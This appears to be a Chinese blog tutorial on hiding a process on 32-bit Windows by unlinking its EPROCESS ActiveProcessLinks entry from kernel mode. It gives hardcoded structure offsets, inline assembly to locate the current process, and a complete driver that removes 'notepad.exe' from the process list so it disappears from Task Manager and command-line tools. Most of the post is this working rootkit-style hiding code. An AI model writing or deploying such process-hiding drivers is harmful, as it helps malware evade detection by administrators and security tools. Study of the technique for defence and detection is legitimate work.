0环PEB断链实现

news/2024/5/20 21:08:57

截止到昨天那里我们的思路就清晰了,通过EPROCESS找到我们要隐藏的进程的ActiveProcessLinks,将双向链表的值修改,就可以将我们想要隐藏的这个进程的ActiveProcessLinks从双向链表中抹去的效果,这里的话如果在windbg里面直接使用ed修改的话是比较方便的,但是如果要使用代码来进行修改的话就需要首先定位到EPROCESS

ETHREAD0x220偏移得到ThreadsProcess,指向的是_EPROCESS这个结构体

那么就可以用汇编实现找到EPROCESS结构

    __asm{mov eax, fs: [0x124] ;mov eax, [eax + 0x220];mov pEprocess, eax;}

首先定义一个指针指向EPROCESS结构,并初始化指向ActiveProcessLinks的指针

pCurProcess = pEprocess;curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);

然后判断通过EPROCESS的0x174处的ImageFileName来判断进程名是不是我们想要隐藏的进程

ImageFileName = (PCHAR)pCurProcess + 0x174;if (strcmp(ImageFileName, "notepad.exe") == 0)

如果是我们想要隐藏的进程就执行断链操作

            curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);nextNode = curNode->Flink;preNode = curNode->Blink;preNode->Flink = curNode->Flink;nextNode->Blink = curNode->Blink;

如果不是我们想要的进程就继续往下取ActiveProcessLinks的值

pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);

完整代码如下

#include <ntddk.h>NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path);
VOID DriverUnload(PDRIVER_OBJECT driver);NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{PEPROCESS pEprocess, pCurProcess;PCHAR ImageFileName;__asm{mov eax, fs: [0x124] ;mov eax, [eax + 0x220];mov pEprocess, eax;}pCurProcess = pEprocess;do{ImageFileName = (PCHAR)pCurProcess + 0x174;if (strcmp(ImageFileName, "notepad.exe") == 0){PLIST_ENTRY preNode, curNode, nextNode;curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);nextNode = curNode->Flink;preNode = curNode->Blink;preNode->Flink = curNode->Flink;nextNode->Blink = curNode->Blink;DbgPrint("断链成功!\n");}pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);} while (pEprocess != pCurProcess);driver->DriverUnload = DriverUnload;return STATUS_SUCCESS;
}VOID DriverUnload(PDRIVER_OBJECT driver)
{DbgPrint("驱动卸载成功\n");
}

实现效果如下

安装驱动之后在任务管理器跟cmd里面都已经看不到notepad.exe这个进程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.cpky.cn/p/10263.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

【Proteus仿真】【51单片机】井盖安全检测装置设计

文章目录 一、功能简介二、软件设计三、实验现象联系作者 一、功能简介 本项目使用Proteus8仿真51单片机控制器&#xff0c;使用LCD1602液晶显示模块、WIFI模块、蜂鸣器、LED按键、ADC PCF8591、角度/可燃气检测传感器等。 主要功能&#xff1a; 系统运行后&#xff0c;LCD16…

微服务超大Excel文件导出方案优化

1、在导出Excel时经常会碰到文件过大&#xff0c;导出特别慢 2、微服务限制了请求超时时间&#xff0c;文件过大情况必然超时 优化思路&#xff1a; 1、文件过大时通过文件拆分、打包压缩zip&#xff0c;然后上传到oss,并设置有效期&#xff08;30天过期&#xff09; 2、把…

Kubernetes(K8S第三部分之资源控制器)

资源控制器 什么是控制器 Kubernetes中内建了很多controller&#xff08;控制器&#xff09;&#xff0c;这些相当于一个状态机&#xff0c;用来控制Pod的具体状态和行为。 控制器类型 ReplicationController和ReplicaSet Deployment DaemonSet StateFulSet Job/CronJob…

网络原理与网络的基本概念,TCP/IP协议

一、什么是网络 当我们谈论网络时&#xff0c;我们指的是将多个计算设备连接在一起&#xff0c;使它们能够相互通信和共享资源的系统。网络可以是物理上的连接&#xff0c;例如使用电缆或光纤&#xff0c;也可以是逻辑上的连接&#xff0c;例如通过无线信号或互联网连接。 在…

瑞_23种设计模式_享元模式

文章目录 1 享元模式&#xff08;Flyweight Pattern&#xff09;1.1 介绍1.2 概述1.3 享元模式的结构1.4 享元模式的优缺点1.5 享元模式的使用场景 2 案例一2.1 需求2.2 代码实现 3 案例二3.1 需求3.2 代码实现 4 JDK源码解析&#xff08;Integer类&#xff09; &#x1f64a; …

lvs集群

系统性能扩展方式 Scale UP&#xff1a;垂直扩展&#xff0c;向上扩展,增强&#xff0c;性能更强的计算机运行同样的服务 Scale Out&#xff1a;水平扩展&#xff0c;向外扩展,增加设备&#xff0c;并行地运行多个服务调度分配问题&#xff0c;Cluster 垂直扩展不再提及&…